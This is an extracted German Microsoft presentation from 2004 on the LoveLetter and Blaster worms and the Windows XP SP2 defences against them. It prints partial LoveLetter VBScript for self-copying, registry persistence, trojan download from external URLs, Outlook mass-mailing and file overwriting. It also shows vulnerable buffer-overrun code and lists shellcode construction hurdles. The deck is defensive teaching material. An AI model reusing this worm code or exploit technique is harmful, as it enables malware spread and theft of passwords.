Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH...

54
Viren, Würmer, SP2 Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH [email protected]

Transcript of Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH...

Page 1: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Viren, Würmer, SP2

Uwe BaumannDirk Primbs.NET Community EvangelistsMicrosoft Deutschland [email protected]@microsoft.com

Page 2: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Sicherheit ist eine der größten und wichtigsten Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals angehen Aufgaben, die unsere Industrie jemals angehen musste. musste.

Es geht nicht nur darum, einfach ein paar Es geht nicht nur darum, einfach ein paar Sicherheitslöcher zu schließen und weiterzumachen. Sicherheitslöcher zu schließen und weiterzumachen. Die negativen Auswirkungen von Viren und Würmern Die negativen Auswirkungen von Viren und Würmern auf ein akzeptables Niveau herunterzuschrauben auf ein akzeptables Niveau herunterzuschrauben erfordert ein fundamental neues Denken über erfordert ein fundamental neues Denken über Softwarequalität, ständige Verbesserungen bei Tools Softwarequalität, ständige Verbesserungen bei Tools und Prozessen, und anhaltende Investitionen in und Prozessen, und anhaltende Investitionen in widerstandsfähige neue Sicherheitstechnologien, die widerstandsfähige neue Sicherheitstechnologien, die bösartigen oder zerstörerischen Code blocken, bevor bösartigen oder zerstörerischen Code blocken, bevor Schaden entsteht [...]Schaden entsteht [...]

Der technologische Fortschritt in den letzten zwei Der technologische Fortschritt in den letzten zwei Jahrzehnten ist unglaublich, und ist viel zu wichtig, als Jahrzehnten ist unglaublich, und ist viel zu wichtig, als daß wir ein paar Kriminellen erlauben dürfen, uns daß wir ein paar Kriminellen erlauben dürfen, uns davon abzuhalten, die fantastischen Errungenschaften davon abzuhalten, die fantastischen Errungenschaften der Technologie zu genießen.der Technologie zu genießen.

Bill Gates, 31. März 2004Bill Gates, 31. März 2004

Page 3: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Viren, Würmer, TrojanerViren, Würmer, Trojaner

Zwei typische VertreterLoveLetter und Blaster

Wurm InsideSo funktionieren LoveLetter und Blaster

Harte LektionenWarum konnte das geschehen?Aus Schaden wird man klug

Hilfe, mein Code geht nicht mehr!„Kann man das auch ausschalten?“

Zwei typische VertreterLoveLetter und Blaster

Wurm InsideSo funktionieren LoveLetter und Blaster

Harte LektionenWarum konnte das geschehen?Aus Schaden wird man klug

Hilfe, mein Code geht nicht mehr!„Kann man das auch ausschalten?“

Page 4: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Love LetterLove LetterAls die Liebe die Welt regierteAls die Liebe die Welt regierte

Page 5: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

VormittagMitarbeiter des philippinischen

Internetproviders „Sky Internet“ bemerken eine drastisch erhöhte Anzahl von Downloads auf ihren Servern. Der Wurm lädt dort einen

Trojaner herunter, der Passwörter ausspioniert und an zwei eMail-Adressen versendet. Der Provider schaltet die betroffenen Server ab.

Quelle: PCWorld.comQuelle: PCWorld.com

Mittwoch, 3. Mai 2000Ein neuer Wurm taucht

auf.Unter den ersten „Patienten“ sind

Microsoft Deutschland, Lucent Technology

Europa und Credit Suisse

7:00 UhrAntivirus-Hersteller

verschicken die ersten Versionen der

Virendefinition an ihre Kunden, aber es ist

bereits zu spät denn…

Ca. 7:00 Uhr... in Melbourne klickt ein Mitarbeiter des

Reiseführer-Verlags „Lonely Planet“ auf das Wurm-Script und verschickt den Wurm an

100 Reiseführer-Autoren in der ganzen Welt…

Mittwoch, 4. Mai 200013:00 Uhr

Der Wurm trifft im Pentagon und bei der CIA ein. Das FBI nimmt die

Ermittlungen auf.

18:40 UhrViele Antivirus-Hersteller

machen Virus-Definitionsfiles zum freien Download über

das Web verfügbar.16:00 Uhr

Der erste Clone taucht auf („Funny Joke“)

Freitag, 5. MaiMittlerweile sind 9 weitere

Varianten im Umlauf, getarnt als Muttertagsmail und als Nachricht des Antiviren-

Herstellers Symantec

Dienstag, 9. MaiVirusmeldungen aus aller Welt gehen zurück. Insgesamt sind jetzt 29 Varianten im Umlauf, eine halbe Million PCs wurden

infiziert.Ab 7 Uhr… und an der Ostküste der USA klicken

Tausende liebeshungrige Büroangestellte nach einem

frustrierenden Wochenende auf die Mail in der Hoffnung auf ein Rendez-Vouz

Donnerstag, 4. Mai 4:12 Uhr

Antivirus-Hersteller in Europa empfangen die ersten Meldungen von Kunden und beginnen um ca.

5:00 Uhr mit der Analyse. Es wird schnell klar: Der Wurm, geschrieben in

VB Script, ist nicht sehr kompliziert, aber extrem

ansteckend.

Page 6: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReproduktionReproduktion

Verschickt sich als Attachment an eMail-Adressen aus dem Outlook-Addressbuch des BenutzersVerschickt sich über IRC mit Hilfe des DCC Features (Direct Client-to-Client)

Verschickt sich als Attachment an eMail-Adressen aus dem Outlook-Addressbuch des BenutzersVerschickt sich über IRC mit Hilfe des DCC Features (Direct Client-to-Client)

Page 7: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

AktionenAktionen

Ersetzt Files mit Kopien des eigenen CodesStartet Download eines TrojanersVerschickt sich selbst über eMailInfiziert (überschreibt) FilesErstellt ein mIRC ScriptVerändert die Startseite des Internet Explorers

Ersetzt Files mit Kopien des eigenen CodesStartet Download eines TrojanersVerschickt sich selbst über eMailInfiziert (überschreibt) FilesErstellt ein mIRC ScriptVerändert die Startseite des Internet Explorers

Page 8: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Inside LoveLetterInside LoveLetter

Analyse des VBS-SkriptsAnalyse des VBS-Skripts

Page 9: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Code: Selbstkopien erstellenCode: Selbstkopien erstellenSet wscr=CreateObject("WScript.Shell")…Set dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")…regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

Run\MSKernel32",dirsystem&"\MSKernel32.vbs"regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"

Page 10: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Code: Trojaner downloadenCode: Trojaner downloadenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/[…]HJKhjnjbvYT/WINBUGSFIX.exe"elseif num = 2 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\ Start Page","http://www.skyinet.net/~angelcat/ […]skladjflfd/WIN-BUGSFIX.exe"elseif num = 3 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/[…]TRjkcbGRfF/WIN-BUGSFIX.exe"elseif num = 4 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/[…]sdgfhjjgcb/WIN-BUGSFIX.exe"end if

Page 11: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Code: Massenmail schickenCode: Massenmail schickenset regedit=CreateObject("WScript.Shell")set out=WScript.CreateObject("Outlook.Application")set mapi=out.GetNameSpace("MAPI")

set a=mapi.AddressLists(ctrlists)x=1for ctrentries=1 to a.AddressEntries.Count…set male=out.CreateItem(0)male.Recipients.Add(malead)male.Subject = "ILOVEYOU"male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")male.Send…x=x+1next

Page 12: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Code: Files infizierenCode: Files infizierenset f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)…elseif(ext="jpg") or (ext="jpeg") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeset cop=fso.GetFile(f1.path)cop.copy(f1.path&".vbs")fso.DeleteFile(f1.path)…next

Page 13: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Das Ende vom LiedDas Ende vom Lied

10 Milliarden US$ Schaden (geschätzt)Unzählige NachahmerWahrscheinlicher Autor: Philippinischer StudentMotiv: Entweder ein Versehen oder die Rache für eine zurückgewiesene SemesterarbeitVerurteilung des Autors nach damals in den Philippinen geltendem Recht nicht möglich

10 Milliarden US$ Schaden (geschätzt)Unzählige NachahmerWahrscheinlicher Autor: Philippinischer StudentMotiv: Entweder ein Versehen oder die Rache für eine zurückgewiesene SemesterarbeitVerurteilung des Autors nach damals in den Philippinen geltendem Recht nicht möglich

Page 14: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Lektionen aus Love LetterLektionen aus Love Letter

Love Letter vertraute darauf, daß…… der Empfänger Mailattachements öffnet wenn die Email von bekannten Absendern stammt.… der Empfänger ausreichende Rechte hat um von sich selbst Kopien in Systemverzeichnissen zu erstellen.... Mails vollautomatisch verschickt werden können.

Love Letter vertraute darauf, daß…… der Empfänger Mailattachements öffnet wenn die Email von bekannten Absendern stammt.… der Empfänger ausreichende Rechte hat um von sich selbst Kopien in Systemverzeichnissen zu erstellen.... Mails vollautomatisch verschickt werden können.

Page 15: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Maßnahmen IMaßnahmen I

Hinweismeldungen von Office-Applikationen, bevor …

… VBA-Code ausgeführt wird.… Scripts ausgeführt werden.… Outlook automatisiert werden kann.

Hinweismeldungen von Office-Applikationen, bevor …

… VBA-Code ausgeführt wird.… Scripts ausgeführt werden.… Outlook automatisiert werden kann.

Page 16: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Maßnahmen IIMaßnahmen II

Neue Sicherheitsoptionen für die Preview Pane in OutlookAusführbare Attachements werden blockiert:

Mail-Previews laufen in der „Restricted Sites“ Internet Zone

Neue Sicherheitsoptionen für die Preview Pane in OutlookAusführbare Attachements werden blockiert:

Mail-Previews laufen in der „Restricted Sites“ Internet Zone

Page 17: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Windows XP Service Pack 2Windows XP Service Pack 2

Neue Mail-Preview für Outlook ExpressZone „Local Machine“ restriktiver vorkonfiguriert Neue zentrale API zum Handling von Attachements: Attachement Execution Services (AES)

Schnittstelle IAttachementExecuteZentralisiert die Risiko-AbschätzungSteuerbar über Group Policies

Neue Mail-Preview für Outlook ExpressZone „Local Machine“ restriktiver vorkonfiguriert Neue zentrale API zum Handling von Attachements: Attachement Execution Services (AES)

Schnittstelle IAttachementExecuteZentralisiert die Risiko-AbschätzungSteuerbar über Group Policies

Page 18: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Bitte wenden Sie sich an Ihren Administrator Bitte wenden Sie sich an Ihren Administrator

Als Nicht-Administrator wäre es Love Letter nicht möglich gewesen, …

… sich in HKLM\…\Run einzutragen.… in ein Systemverzeichnis zu schreiben.… Betriebssystembestandteile auszutauschen.

Als Nicht-Administrator wäre es Love Letter nicht möglich gewesen, …

… sich in HKLM\…\Run einzutragen.… in ein Systemverzeichnis zu schreiben.… Betriebssystembestandteile auszutauschen.

Page 19: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Ein Tag im Leben eines Nicht-Administrators

Ein Tag im Leben eines Nicht-Administrators

Page 20: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Das Security Problem Software Security PendelDas Security Problem Software Security Pendel

Einfache Benutzung

“Automagic”Alle Features sind ON by default

Große AngriffsflächeOut Of The Box Experience

FeaturesAttacks

Einfache Benutzung

“Automagic”Alle Features sind ON by default

Große AngriffsflächeOut Of The Box Experience

FeaturesAttacks

Usability Usability & &

FeaturesFeatures

Security Security & &

PrivacyPrivacy

Marketing ModeMarketing ModeMarketing ModeMarketing Mode

Page 21: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Das Security Problem Software Security PendelDas Security Problem Software Security Pendel

Geringe “connectivity”Viele SicherheitsdialogeMinimierte Angriffsfläche Oft schwerer zu benutzenNur schwer zu vermarkten

Geringe “connectivity”Viele SicherheitsdialogeMinimierte Angriffsfläche Oft schwerer zu benutzenNur schwer zu vermarkten

Usability Usability & &

FeaturesFeatures

Security Security & &

PrivacyPrivacy

Paranoid ModeParanoid Mode

Page 22: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Das Security ProblemSoftware Security PendelDas Security ProblemSoftware Security Pendel

Kleinere AngriffsflächeWeniger Sicherheits-Dialoge

Transparente EinstellungKonfigurierbarSicher handhabbar!

Security & Privacy als Feature für den Anwender

Kleinere AngriffsflächeWeniger Sicherheits-Dialoge

Transparente EinstellungKonfigurierbarSicher handhabbar!

Security & Privacy als Feature für den Anwender

Usability Usability & &

FeaturesFeatures

Security Security & &

PrivacyPrivacy

OptimumOptimum

Page 23: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

BlasterBlasterMach mal Pause!Mach mal Pause!

Page 24: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

ReproduktionReproduktion

Wurmcode lädt EXE-Datei „MSBLAST.EXE“ von angreifendem, bereits infizierten System und führt diese lokal ausDie EXE-Datei scannt weitere Systeme und infiziert diese mit dem Wurmcode

Wurmcode lädt EXE-Datei „MSBLAST.EXE“ von angreifendem, bereits infizierten System und führt diese lokal ausDie EXE-Datei scannt weitere Systeme und infiziert diese mit dem Wurmcode

Page 25: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

AktionenAktionen

Startet Denial-of-Service Angriff auf http://www.windowsupdate.comBringt Computer zum Absturz (als Nebeneffekt)

Startet Denial-of-Service Angriff auf http://www.windowsupdate.comBringt Computer zum Absturz (als Nebeneffekt)

Page 26: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Inside BlasterInside Blaster

Grundlagen: Buffer OverrunAnalyse der angreifbaren Stelle im Windows-Sourcecode

Grundlagen: Buffer OverrunAnalyse der angreifbaren Stelle im Windows-Sourcecode

Page 27: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Buffer Overrun: Das Prinzip [1] Buffer Overrun: Das Prinzip [1] void main() { char myLongBuffer[256]; myFunction(myBuffer);}

void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); }

Was passiert, wenn der übergebene String größer als 16 Zeichen ist?Was passiert, wenn der übergebene String größer als 16 Zeichen ist?

Page 28: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Buffer Overrun: Das Prinzip [2] Buffer Overrun: Das Prinzip [2] void main() { char myLongBuffer[256]; myFunction(myLongBuffer);}

StackStack

(bisheriger Stackinhalt)

256MyLongBuffer

Rücksprungadresse

Sonstige Daten

MyShortBuffer 16 Str

ing

sStr

ing

s

void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); }

Daten sind zu lang !

MyShortBuffer 16256

MyShortBuffer

Gehackte Adresse

Gehackte AdresseViruscode

„Böser“ Inhalt von MyShortBuffer:

Rücksprung an gehackte Adresse…

Virus a

usführen

Virus a

usführen

Sta

ckSta

ck

Page 29: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Code: Blasters AngriffszielCode: Blasters Angriffsziel

error_status_t _RemoteActivation(WCHAR *pwszObjectName, ... ) { *phr = GetServerPath(pwszObjectName, &pwszObjectName); …}HRESULT GetServerPath(WCHAR *pwszPath, WCHAR **pwszServerPath ){ WCHAR * pwszFinalPath = pwszPath; WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]; hr = GetMachineName(pwszPath, wszMachineName); *pwszServerPath = pwszFinalPath;}HRESULT GetMachineName( WCHAR * pwszPath, WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) { pwszServerName = wszMachineName; LPWSTR pwszTemp = pwszPath + 2; while ( *pwszTemp != L'\\' ) *pwszServerName++ = *pwszTemp++; !!!

Port 135 (Z.B. aus dem Internet)Port 135 (Z.B. aus dem Internet)

Page 30: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Ist das wirklich so einfach?Ist das wirklich so einfach?

Ausnützen der Sicherheitslöcher ist nicht trivial!Analyse der Verwundbarkeit

Sourcecode liegt (oft) nicht vor

Virenbaukästen („Kits“) helfen beim Bau einfacher Viren und Trojaner, aber…

Exploits werden immer schwierigerExtrem detaillierte Kentnisse sind notwendigUnmöglich ohne viel Zeit und Wissen

Ausnützen der Sicherheitslöcher ist nicht trivial!Analyse der Verwundbarkeit

Sourcecode liegt (oft) nicht vor

Virenbaukästen („Kits“) helfen beim Bau einfacher Viren und Trojaner, aber…

Exploits werden immer schwierigerExtrem detaillierte Kentnisse sind notwendigUnmöglich ohne viel Zeit und Wissen

Page 31: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Sorgen eines HackersSorgen eines Hackers

Sprungadresse zu eigenem Code finden

„NOP-Sledge“ oder gutes Raten

DLL-Funktionen aufrufenDLL-Basisadresse? Funktions-Einsprungpunkt?

Prozeß abspaltenKeine native Win32-Funktion verfügbar

Platz für Literale ( z.B. Funktionsnamen)

Hashing notwendig

Keine Null im Code erlaubtDecoder-Stub nötig

Sprungadresse zu eigenem Code finden

„NOP-Sledge“ oder gutes Raten

DLL-Funktionen aufrufenDLL-Basisadresse? Funktions-Einsprungpunkt?

Prozeß abspaltenKeine native Win32-Funktion verfügbar

Platz für Literale ( z.B. Funktionsnamen)

Hashing notwendig

Keine Null im Code erlaubtDecoder-Stub nötig

Grrr!

Page 32: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Das Ende vom LiedDas Ende vom Lied

5-10 Millionen US$ Schaden 8 Millionen infizierte Computer Autor immer noch nicht bekanntEinige Nachahmer vor Gericht

5-10 Millionen US$ Schaden 8 Millionen infizierte Computer Autor immer noch nicht bekanntEinige Nachahmer vor Gericht

Page 33: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Lektionen aus BlasterLektionen aus Blaster

Blaster nutzte eine Sicherheitslücke im Betriebssystem ausAktivierte Firewalls hätten Blaster im Vorfeld verhindert, aber…

… schafft es Blaster in ein Unternehmensnetzwerk, helfen nur noch Personal Firewalls auf den einzelnen Systemen

Zum Zeitpunkt der Verbreitung von Blaster gab es bereits seit nahezu einem Monat einen Patch, der aber nicht rechtzeitig eingespielt worden war

Blaster nutzte eine Sicherheitslücke im Betriebssystem ausAktivierte Firewalls hätten Blaster im Vorfeld verhindert, aber…

… schafft es Blaster in ein Unternehmensnetzwerk, helfen nur noch Personal Firewalls auf den einzelnen Systemen

Zum Zeitpunkt der Verbreitung von Blaster gab es bereits seit nahezu einem Monat einen Patch, der aber nicht rechtzeitig eingespielt worden war

Page 34: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Maßnahmen gegen BOsMaßnahmen gegen BOs

Bestimmte C/C++ Kommandos sind besonders anfällig

strcpy, gets, scanf, sprintf, strcat, …

BOs werden in Managed Code durch Laufzeitchecks verhindert.Compilerswitch /GC aktiviert in Visual C/C++ verbessertes Stackhandling

Bestimmte C/C++ Kommandos sind besonders anfällig

strcpy, gets, scanf, sprintf, strcat, …

BOs werden in Managed Code durch Laufzeitchecks verhindert.Compilerswitch /GC aktiviert in Visual C/C++ verbessertes Stackhandling

Page 35: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Nutzloses Wissen SpecialNutzloses Wissen Special

Quelle: West Virginia Office of Miners’ Health, Safety and Quelle: West Virginia Office of Miners’ Health, Safety and Training Training

Bergarbeiter mit Kanarienvogel (Welsh Miner‘s Canary)

Prinzip:Vogel tot =zuviel Methangas

Page 36: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Compilerswitch /GCCompilerswitch /GCStackStack

(bisheriger Stackinhalt)

256MyLongBuffer

Rücksprungadresse

Security Cookie

Str

ing

sStr

ing

s

MyShortBuffer

Sta

ckSta

ck

Prolog: Alloziiert Speicher auf dem Stack für lokale Variablen

sub esp,20h

Epilog: Führt Rücksprung durch

add esp,20h ret

void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); }

Prolog: Alloziiert Speicher auf dem Stack für lokale Variablen und speichert Zufallswert für Security Cookie (Canary) absub esp,24h mov eax,dword ptr [___security_cookie (408040h)] xor eax,dword ptr [esp+24h] mov dword ptr [esp+20h],eax Epilog: Prüft den Security Cookie (Canary) und führt anchließend Rücksprung durch mov ecx,dword ptr [esp+20h] xor ecx,dword ptr [esp+24h] add esp,24h jmp __security_check_cookie (4010B2h)

MyShortBuffer 16

Page 37: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Vertrauen ist gut, Kontrolle ist besserVertrauen ist gut, Kontrolle ist besser

Page 38: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

PatchmanagementDefinition: PatchPatchmanagementDefinition: Patch

Patches beheben gefundene Security Vulnerabilities werden von Microsoft in Sicherheits-Bulletins veröffentlicht (z.B. MS03-47)Patches werden in Rollup-Packages und Service Packs zusammengefasstVulnerabilities werden von Microsoft in 4 Schweregrade eingeteilt

Patches beheben gefundene Security Vulnerabilities werden von Microsoft in Sicherheits-Bulletins veröffentlicht (z.B. MS03-47)Patches werden in Rollup-Packages und Service Packs zusammengefasstVulnerabilities werden von Microsoft in 4 Schweregrade eingeteilt

Page 39: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Patchmanagement Enstehung des Blaster WurmsPatchmanagement Enstehung des Blaster Wurms

Schwachstelle entdeckt / Start der Patchentwicklung

Bulletin & Patch Verfügbar

Bisher kein Angriff

Angriffs-Codewird veröffentlicht

Wurm infiziert die Welt

1. Juli 03 16. Juli 03 25. Juli 03 11. August 03

ReportReport Schwachstelle in Schwachstelle in

RPC/DDOM RPC/DDOM aufgedecktaufgedeckt

MS startet den MS startet den höchsten Notfall-höchsten Notfall-prozess Levelprozess Level

BulletinBulletin MS03-026 wir an MS03-026 wir an

Kunden ausgeliefertKunden ausgeliefert Kontinuierliche Kontinuierliche

Kommunikation mit Kommunikation mit Analysten, Presse, Analysten, Presse, Community, Partner, Community, Partner, RegierungsbehördenRegierungsbehörden

ExploitExploit X-focus (Chinesische X-focus (Chinesische

Security-Spezialisten) Security-Spezialisten) veröffentlicht Angriffs-veröffentlicht Angriffs-ToolTool

MS maximiert die MS maximiert die Anstrengungen, alle Anstrengungen, alle Kunden zu informierenKunden zu informieren

WormWorm Blaster Wurm entdeckt Blaster Wurm entdeckt Varianten und andere Varianten und andere

Viren schlagen Viren schlagen gemeinsam zu (z.B. gemeinsam zu (z.B. “SoBig”)“SoBig”)

BlasterBlaster zeigt das komplexe Zusammenspiel zwischen zeigt das komplexe Zusammenspiel zwischen Sicherheitsforschung, Softwarehersteller und HackernSicherheitsforschung, Softwarehersteller und Hackern

Page 40: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

PatchmanagementReaktionszeitPatchmanagementReaktionszeit

Zeitspanne zwischen erscheinen des Patches und Auftreten eines Exploits sinkt Exploits werden intelligenterAnsatz Patch Management reicht nichtNeue Techniken müssen entwickelt werden

Zeitspanne zwischen erscheinen des Patches und Auftreten eines Exploits sinkt Exploits werden intelligenterAnsatz Patch Management reicht nichtNeue Techniken müssen entwickelt werden

151151180180

331331

Blaster

Blaster

Welchia/

Welchia/ NachiNachi

NimdaNimda

2525

SQL SQL

Slammer

Slammer

Tage zwischen Patch und AngriffTage zwischen Patch und Angriff

Page 41: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Windows XP SP2Windows XP SP2

Verbessertes PatchmanagementAutomatische zeitgesteuerte Installation Priorisierung beim Patch-DownloadReduzierte Patch-Größe mit Delta-PatchingGleiche Scanning-Engine für alle Tools

“hot patching” TechnologieReduzierte Anzahl von Reboots Restart Explorer und einige SVCHOST Prozesse an statt kompletten Reboot

Verbessertes PatchmanagementAutomatische zeitgesteuerte Installation Priorisierung beim Patch-DownloadReduzierte Patch-Größe mit Delta-PatchingGleiche Scanning-Engine für alle Tools

“hot patching” TechnologieReduzierte Anzahl von Reboots Restart Explorer und einige SVCHOST Prozesse an statt kompletten Reboot

Page 42: Viren, Würmer, SP2 Uwe Baumann Dirk Primbs.NET Community Evangelists Microsoft Deutschland GmbH uwebaum@microsoft.com dirkp@microsoft.com uwebaum@microsoft.com.

Windows XP SP2Windows XP SP2

